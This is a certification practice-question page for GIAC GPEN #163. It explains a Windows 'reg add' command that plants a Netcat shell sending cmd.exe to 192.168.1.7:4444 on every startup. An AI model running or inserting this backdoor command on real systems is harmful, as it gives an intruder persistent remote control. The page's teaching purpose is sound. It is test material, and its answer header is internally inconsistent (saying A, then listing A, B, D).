nerdexam
GIAC

GPEN · Question #163

You run the following command on the remote Windows server 2003 computer: c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e…

The correct answer is A. You want to put Netcat in the stealth mode. B. You want to add the Netcat command to the Windows registry. D. You want to set the Netcat to execute command any time. The command writes a Netcat reverse shell to the Windows registry Run key, configuring it to launch automatically in stealth mode and provide remote command execution on every system startup.

Exploitation & Post-Exploitation Techniques

Question

You run the following command on the remote Windows server 2003 computer:

c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe" What task do you want to perform by running this command? Each correct answer represents a complete solution. Choose all that apply.

Options

  • AYou want to put Netcat in the stealth mode.
  • BYou want to add the Netcat command to the Windows registry.
  • CYou want to perform banner grabbing.
  • DYou want to set the Netcat to execute command any time.

How the community answered

(56 responses)
  • A
    73% (41)
  • C
    27% (15)

Why each option

The command writes a Netcat reverse shell to the Windows registry Run key, configuring it to launch automatically in stealth mode and provide remote command execution on every system startup.

AYou want to put Netcat in the stealth mode.Correct

The -d flag in the Netcat command enables stealth (daemon) mode, detaching the process from the console so it runs without a visible window.

BYou want to add the Netcat command to the Windows registry.Correct

The 'reg add' command explicitly writes the Netcat execution string into HKLM\Software\Microsoft\Windows\CurrentVersion\Run, adding it persistently to the Windows registry.

CYou want to perform banner grabbing.

Banner grabbing involves connecting to a service to retrieve identification or version information; this command instead opens a reverse shell using -e cmd.exe, which has nothing to do with banner grabbing.

DYou want to set the Netcat to execute command any time.Correct

Placing the command in the Run registry key causes Netcat to execute automatically each time Windows starts, ensuring persistent remote access at any system boot.

Concept tested: Netcat backdoor persistence via Windows Run registry key

Source: https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys

Topics

#Netcat#Windows registry persistence#backdoor#post-exploitation

Community Discussion

No community discussion yet for this question.

Sign up to join the discussion
Full GPEN Practice